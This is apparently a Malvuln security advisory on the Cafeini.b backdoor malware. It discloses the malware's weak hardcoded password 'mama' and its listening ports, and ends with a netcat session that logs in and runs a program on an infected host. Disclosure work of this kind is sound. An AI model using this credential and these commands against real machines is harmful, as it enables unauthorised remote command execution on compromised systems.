Backdoor.Win32.Cafeini.b MVID-2022-0617 Hardcoded Credential

Backdoor.Win32.Cafeini.b malware suffers from a hardcoded credential vulnerability.

SHA-256 | 214a018ddc8a2c372d96a47976e8c26f81dd4d2ccb905c570b6443c8eca58854

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Cafeini.b
Vulnerability: Weak Hardcoded Credentials
Description: The malware listens on TCP ports 51966 and 23. Authentication is required, however the password "mama" is weak and found within the PE file. Moreover, the FTP server running on non standard port 23 also uses same password. Trying to execute a program incorrectly you get reply like, "STATUS I can't run program", as it requires the full path to the file to execute.
Family: Cafeini
Type: PE32
MD5: a8fc1b3f7a605dc06a319bf0e14ca68b
Vuln ID: MVID-2022-0617
Disclosure: 06/29/2022

C:\>nc64.exe x.x.x.x 51966
CAFEiNi 1.1
Enter your password:
STATUS: unknown command "WHOAMI"
C:\Users\victim\Desktop>exec c:\Windows\system32\calc.exe
exec c:\Windows\system32\calc.exe
STATUS: program runned

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